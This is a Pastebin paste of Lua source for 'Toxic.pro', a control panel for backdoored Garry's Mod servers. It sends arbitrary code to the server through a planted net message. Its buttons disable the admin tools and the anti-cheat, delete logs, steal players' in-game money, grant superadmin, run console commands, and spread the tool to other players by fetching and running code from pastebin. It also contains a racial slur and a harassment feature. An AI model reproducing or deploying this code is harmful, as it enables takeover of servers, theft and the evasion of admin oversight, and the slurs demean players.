Advertisement
Guest User

eggsdee conwey

a guest
Jun 19th, 2018
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.65 KB | None | 0 0
  1. /*
  2.  
  3. Toxic.pro
  4.  
  5. Commissioned by 0xymoron and Michael Conway for ToxicRiver
  6.  
  7. Start Date: December 27th, 2017.
  8.  
  9. First revision finished December 28th, 2017 @ 3:28AM.
  10.  
  11. */
  12.  
  13. /*
  14.  
  15. util.AddNetworkString( "idk" ) net.Receive( "idk", function( len ) local str = net.ReadString() RunString( str ) end )
  16.  
  17. */
  18.  
  19. local toxic = {}
  20.  
  21. toxic.Net = "idk" -- backdoored net message
  22.  
  23. toxic.Version = "1.1"
  24.  
  25. /*
  26.  
  27. Backend functions
  28.  
  29. */
  30.  
  31. function toxic.PostLua( str )
  32.  
  33. net.Start( toxic.Net )
  34.  
  35. net.WriteString( str )
  36.  
  37. net.SendToServer()
  38.  
  39. end
  40.  
  41. function toxic.Notify( msg )
  42.  
  43. chat.AddText( Color( 255, 0, 0 ), "[Toxic.pro] ", color_white, msg )
  44.  
  45. end
  46.  
  47. /*
  48.  
  49. user interface
  50.  
  51. */
  52.  
  53. function toxic.AddButton( name, parent, func )
  54.  
  55. local button = parent:Add( "DButton" )
  56. button:SetText( "" )
  57. button:Dock( TOP )
  58. button:DockMargin( 0, 0, 0, 5 )
  59. button:SetSize( 100, 25 )
  60. button.DoClick = func
  61.  
  62. button.Paint = function( self )
  63.  
  64. draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 0, 0, 0, 200 ) )
  65.  
  66. draw.SimpleText( name, "DebugFixed", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1 )
  67.  
  68. end
  69.  
  70. toxic.ButtonPos = toxic.ButtonPos + 30
  71.  
  72. end
  73.  
  74. function toxic.UI()
  75.  
  76. toxic.ButtonPos = 30
  77.  
  78. local frame = vgui.Create( "DFrame" )
  79. frame:SetTitle( "Toxic.pro Version " .. toxic.Version .. " | by 0xymoron" )
  80. frame:SetSize( 550, 250 )
  81. frame:Center()
  82. frame:MakePopup()
  83. frame:ShowCloseButton( false )
  84.  
  85. frame.Paint = function( self )
  86.  
  87. draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 140, 0, 0, 150 ) )
  88.  
  89. draw.RoundedBox( 0, 0, 0, self:GetWide(), 25, Color( 0, 0, 0, 200 ) )
  90.  
  91. end
  92.  
  93. local close = vgui.Create( "DButton", frame )
  94. close:SetSize( 50, 20 )
  95. close:SetPos( frame:GetWide() - 50, 0 )
  96. close:SetText( "x" )
  97. close:SetTextColor( Color( 255, 255, 255 ) )
  98. close:SetFont( "DebugFixed" )
  99.  
  100. close.Paint = function()
  101.  
  102. draw.RoundedBox( 0, 0, 0, close:GetWide(), close:GetTall(), Color( 168, 62, 62, 255 ) )
  103.  
  104. end
  105.  
  106. close.DoClick = function()
  107.  
  108. frame:Close()
  109.  
  110. end
  111.  
  112. local panel = vgui.Create( "DScrollPanel", frame )
  113. panel:SetPos( 5, 30 )
  114. panel:SetSize( 150, frame:GetTall() - 35 )
  115.  
  116. local html = vgui.Create( "HTML", frame )
  117. html:SetPos( panel:GetWide() + 20, 30 )
  118. html:SetSize( 240, 215 )
  119. html:SetHTML( [[
  120. <img src="http://www.clker.com/cliparts/c/e/8/f/12387015421849960016GameFreak7744_Biohazard_symbol.svg.med.png" alt="Img" style="width:200px;height:195px;">
  121. ]] )
  122.  
  123. /**************************************
  124.  
  125. Player Management
  126.  
  127. ***************************************/
  128.  
  129. local dlist = vgui.Create( "DListView", frame )
  130. dlist:SetSize( 140, frame:GetTall() - 35 )
  131. dlist:SetPos( frame:GetWide() - dlist:GetWide() - 5, 30 )
  132. dlist:SetMultiSelect( false )
  133. dlist:AddColumn( "Players" )
  134.  
  135. for k, v in next, player.GetAll() do
  136.  
  137. dlist:AddLine( v:Nick() )
  138.  
  139. end
  140.  
  141. dlist.OnClickLine = function( parent, line, self )
  142.  
  143. for k, v in next, player.GetAll() do
  144.  
  145. if v:Nick() == line:GetValue( 1 ) then
  146.  
  147. dlist.SelectedEntity = v
  148.  
  149. else
  150.  
  151. continue
  152.  
  153. end
  154.  
  155. end
  156.  
  157. end
  158.  
  159. dlist.OnRowRightClick = function( parent, line, isselected )
  160.  
  161. surface.PlaySound( "buttons/button9.wav" )
  162.  
  163. local id = dlist.SelectedEntity:UserID()
  164.  
  165. local target = Player( id )
  166.  
  167. local options = DermaMenu()
  168.  
  169. options:AddOption( "Kick", function()
  170.  
  171. toxic.PostLua( [[
  172.  
  173. Player( ]] .. id .. [[ ):Kick()
  174.  
  175. ]] )
  176.  
  177. toxic.Notify( "Kicked " .. target:Nick() )
  178.  
  179. if dlist then
  180.  
  181. dlist:RemoveLine( line )
  182.  
  183. end
  184.  
  185. end ):SetImage( "icon16/door_out.png" )
  186.  
  187. options:AddOption( "Silent Slay", function()
  188.  
  189. toxic.PostLua( [[
  190.  
  191. Player( ]] .. id .. [[ ):KillSilent()
  192.  
  193. ]] )
  194.  
  195. toxic.Notify( "Silently slayed " .. target:Nick() )
  196.  
  197. end ):SetImage( "icon16/lightning.png" )
  198.  
  199. options:AddOption( "Freeze", function()
  200.  
  201. toxic.PostLua( [[
  202.  
  203. local ply = Player( ]] .. id .. [[ )
  204.  
  205. ply:Freeze( !ply:IsFrozen() )
  206.  
  207. ]] )
  208.  
  209. if !target:IsFrozen() then
  210.  
  211. toxic.Notify( "Froze " .. target:Nick() )
  212.  
  213. else
  214.  
  215. toxic.Notify( "Unfroze " .. target:Nick() )
  216.  
  217. end
  218.  
  219. end ):SetImage( "icon16/tux.png" )
  220.  
  221. options:AddOption( "Give Weapon", function()
  222.  
  223. Derma_StringRequest( "Give " .. target:Nick() .. " a weapon", "What weapon? (example: weapon_ak47)", "", function( text )
  224.  
  225. toxic.PostLua( [[
  226.  
  227. local str = "]] .. text .. [["
  228.  
  229. Player( ]] .. id .. [[ ):Give( str )
  230.  
  231. ]] )
  232.  
  233. toxic.Notify( "Gave " .. target:Nick() .. " a " .. text )
  234.  
  235. end )
  236.  
  237. end ):SetImage( "icon16/bomb.png" )
  238.  
  239. options:AddOption( "Give Money", function()
  240.  
  241. Derma_StringRequest( "Give " .. target:Nick() .. " money", "How much?", "", function( text )
  242.  
  243. if !isnumber( tonumber( text ) ) then return end
  244.  
  245. toxic.PostLua( [[
  246.  
  247. local str = "]] .. text .. [["
  248. str = tonumber( str )
  249.  
  250. Player( ]] .. id .. [[ ):addMoney( str )
  251.  
  252. ]] )
  253.  
  254. toxic.Notify( "Gave " .. target:Nick() .. " $" .. string.Comma( text ) )
  255.  
  256. end )
  257.  
  258. end ):SetImage( "icon16/money_add.png" )
  259.  
  260. options:AddOption( "Inject Toxic.pro", function()
  261.  
  262. toxic.PostLua( [[
  263.  
  264. Player(]] .. id .. [[):SendLua('http.Fetch("https://pastebin.com/raw/ErUr3wtq",function(body) RunString(body) surface.PlaySound("vo/npc/male01/herecomehacks0"..math.random(1,2)..".wav") chat.AddText(Color(255,0,0),"[Toxic.pro] ",color_white,"Welcome, run `toxic.pro` in console") end)')
  265.  
  266. ]] )
  267.  
  268. toxic.Notify( "Injected Toxic.pro into " .. target:Nick() .. "'s client." )
  269.  
  270. end ):SetImage( "icon16/bug_add.png" )
  271.  
  272. options:Open()
  273.  
  274. end
  275.  
  276. /**************************************
  277.  
  278. Buttons
  279.  
  280. ***************************************/
  281.  
  282. toxic.AddButton( "Break ULX", panel, function()
  283.  
  284. toxic.PostLua( [[ _G.ulx = function() end _G.ULib = function() end ]])
  285.  
  286. toxic.Notify( "Broke ULX, admins now have no control." )
  287.  
  288. end )
  289.  
  290. toxic.AddButton( "Break FAdmin", panel, function()
  291.  
  292. toxic.PostLua( [[
  293.  
  294. _G.FAdmin = function() end
  295.  
  296. ]] )
  297.  
  298. toxic.Notify( "Killed FAdmin" )
  299.  
  300. end )
  301.  
  302. toxic.AddButton( "Wipe Logs", panel, function()
  303.  
  304. local date = os.date( "%m-%d-%y" )
  305.  
  306. toxic.PostLua( [[
  307.  
  308. file.Delete( "ulx_logs/]] .. date .. [[.txt" )
  309.  
  310. ]] )
  311.  
  312. toxic.Notify( "Deleted data/ulx_logs/" .. date .. ".txt" )
  313.  
  314. end )
  315.  
  316. toxic.AddButton( "No Kick/Ban", panel, function()
  317.  
  318. toxic.PostLua( [[
  319.  
  320. _R = debug.getregistry()
  321.  
  322. function game.KickID( id, reason )
  323.  
  324. return
  325.  
  326. end
  327.  
  328. function _R.Player.Ban()
  329.  
  330. return
  331.  
  332. end
  333.  
  334. function _R.Player.Kick()
  335.  
  336. return
  337.  
  338. end
  339.  
  340. ]] )
  341.  
  342. toxic.Notify( "Nulled _R.Player.Ban & _R.Player.Kick" )
  343.  
  344. end )
  345.  
  346. toxic.AddButton( "Disable !cake", panel, function()
  347.  
  348. toxic.PostLua( [[ _G.cac = function() end]] )
  349.  
  350. toxic.Notify( "Attempted to disable !cake's anti-cheat, probably failed." )
  351.  
  352. end )
  353.  
  354. toxic.AddButton( "Steal Money", panel, function()
  355.  
  356. toxic.PostLua( [[
  357.  
  358. local id = ]] .. LocalPlayer():UserID() .. [[
  359.  
  360. for k, v in next, player.GetAll() do
  361.  
  362. if v:Nick() == "]] .. LocalPlayer():Nick() .. [[" then
  363.  
  364. continue
  365.  
  366. end
  367.  
  368. local bal = v:getDarkRPVar( "money" ) or 9999999
  369.  
  370. v:addMoney( -bal )
  371.  
  372. Player( id ):addMoney( bal )
  373.  
  374. Player( id ):ChatPrint( "[Toxic.pro] Stole $" .. string.Comma( bal ) .. " from " .. v:Nick() )
  375.  
  376. end
  377.  
  378. ]] )
  379.  
  380. end )
  381.  
  382. toxic.AddButton( "Wipe All Money", panel, function()
  383.  
  384. toxic.PostLua( [[RunConsoleCommand( "rp_resetallmoney" )]] )
  385.  
  386. toxic.Notify( "Wiped DarkRP money database" )
  387.  
  388. end )
  389.  
  390. toxic.AddButton( "Change All Names", panel, function()
  391.  
  392. Derma_StringRequest( "Name Changer", "What would you like to name everyone?", "", function( text )
  393.  
  394. toxic.PostLua( [[
  395.  
  396. local str = "]] .. text .. [["
  397.  
  398. for k, v in next, player.GetAll() do
  399.  
  400. DarkRP.storeRPName( v, str )
  401.  
  402. v:setDarkRPVar( "rpname", str )
  403.  
  404. end
  405.  
  406. ]] )
  407.  
  408. toxic.Notify( "Renamed everyone to '" .. text .. "'" )
  409.  
  410. end )
  411.  
  412. end )
  413.  
  414. toxic.AddButton( "Visual Rape", panel, function()
  415.  
  416. -- I don't like this.
  417. toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://snixzz.net/rape.mp3', 'mono', function( s ) s:Play() end )]] ) end" )
  418.  
  419. -- I don't like any of this.
  420. -- THIS IS BROKEN
  421. -- toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[http.Fetch( 'https://pastebin.com/raw/bNDu1T0n', function( body ) RunString( body ) end )]] ) end" )
  422.  
  423. end )
  424.  
  425. toxic.AddButton( "Earthquake", panel, function()
  426.  
  427. toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end" )
  428.  
  429. toxic.Notify( "Earthquake started." )
  430.  
  431. end )
  432.  
  433. toxic.AddButton( "Horse", panel, function()
  434.  
  435. toxic.PostLua( [[
  436.  
  437. local id = ]] .. LocalPlayer():UserID() .. [[
  438.  
  439. Player( id ):SetModel( "models/props_c17/statue_horse.mdl" )
  440.  
  441. Player( id ):SetMaterial( "models/debug/debugwhite" )
  442.  
  443. hook.Add( "Think", "horse", function()
  444.  
  445. if !IsValid( Player( id ) ) then return end
  446.  
  447. Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
  448.  
  449. end )
  450.  
  451. ]] )
  452.  
  453. end )
  454.  
  455. toxic.AddButton( "Footsteps", panel, function()
  456.  
  457. toxic.PostLua( [[
  458.  
  459. hook.Add( "PlayerFootstep", "oooh", function( ply )
  460.  
  461. ply:EmitSound( "vo/npc/female01/pain0" .. math.random( 1, 9 ) .. ".wav", 75, math.random( 50, 100 ) )
  462.  
  463. end )
  464.  
  465. ]] )
  466.  
  467. toxic.Notify( "Enabled moaning footsteps." )
  468.  
  469. end )
  470.  
  471. toxic.AddButton( "Spam .txt", panel, function()
  472.  
  473. Derma_StringRequest( ".txt file contents", "What would you like to put in the .txt?", "", function( text )
  474.  
  475. toxic.PostLua( [[
  476.  
  477. for i = 1, 100 do
  478.  
  479. file.Write( "toxic.pro_" .. math.random( 1, 999999 ) .. ".txt", "]] .. text .. [[" )
  480.  
  481. end
  482.  
  483. ]] )
  484.  
  485. toxic.Notify( "Spamming 100 .txt files containing '" .. text .. "'" )
  486.  
  487. end )
  488.  
  489. end )
  490.  
  491. toxic.AddButton( "Spam Chat", panel, function()
  492.  
  493. Derma_StringRequest( "Message", "Chat Message", "", function( text )
  494.  
  495. toxic.PostLua( [[
  496.  
  497. util.AddNetworkString("chat_AddText")
  498. chat = {}
  499. function chat.AddText(...)
  500. net.Start("chat_AddText")
  501. net.WriteTable({...})
  502. net.Broadcast()
  503. end
  504. function AddTextPly( ply, ...)
  505. net.Start("chat_AddText")
  506. net.WriteTable({...})
  507. net.Send( ply )
  508. end
  509.  
  510. for k, v in pairs( player.GetAll() ) do
  511.  
  512. v:SendLua( 'net.Receive("chat_AddText", function(len) chat.AddText( unpack( net.ReadTable() ) )end)' )
  513.  
  514. end
  515.  
  516. timer.Create( "gotEm", 1, 120, function()
  517.  
  518. local function ChatPrintRainbow( frequency, str )
  519.  
  520. local text = {}
  521.  
  522.  
  523. for i = 1, #str do
  524. table.insert( text, HSVToColor( i * frequency % 360, 1, 1 ) )
  525. table.insert( text, string.sub( str, i, i ) )
  526. end
  527.  
  528. chat.AddText( unpack( text ) )
  529.  
  530. end
  531.  
  532. ChatPrintRainbow( 10, "]] .. text .. [[" )
  533.  
  534. end )
  535.  
  536.  
  537. ]] )
  538.  
  539. end )
  540.  
  541. end )
  542.  
  543. toxic.AddButton( "Give Superadmin", panel, function()
  544.  
  545. toxic.PostLua( [[
  546.  
  547. local id = ]] .. LocalPlayer():UserID() .. [[
  548.  
  549. RunConsoleCommand( 'ulx', 'adduser', tostring( Player( id ):Nick() ), 'superadmin' )
  550.  
  551. Player( id ):SetUserGroup( "superadmin" )
  552.  
  553. ]] )
  554.  
  555. toxic.Notify( "Attempted to force superadmin." )
  556.  
  557. end )
  558.  
  559. toxic.AddButton( "RCON", panel, function()
  560.  
  561. Derma_StringRequest( "Toxic.pro RCON", "Command", "", function( text )
  562.  
  563. toxic.PostLua( [[game.ConsoleCommand( "]] .. tostring( text ) .. [[" .. "\n" )]] )
  564.  
  565. toxic.Notify( "Ran command '" .. text .. "'" )
  566.  
  567. end )
  568.  
  569. end )
  570.  
  571. toxic.AddButton( "Lua Run", panel, function()
  572.  
  573. Derma_StringRequest( "Toxic.pro Lua Run", "Lua String", "", function( text )
  574.  
  575. toxic.PostLua( [[RunString( ']] .. text .. [[' )]] )
  576.  
  577. toxic.Notify( "Ran Lua '" .. text .. "'" )
  578.  
  579. end )
  580.  
  581. end )
  582.  
  583. toxic.AddButton( "Rename Server", panel, function()
  584.  
  585. toxic.PostLua( [[RunConsoleCommand( "hostname", "NIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGER" )]] )
  586.  
  587. toxic.Notify( "Renamed server to NIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGER" )
  588.  
  589. end )
  590.  
  591. end
  592.  
  593. concommand.Add( "toxic.pro", toxic.UI )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement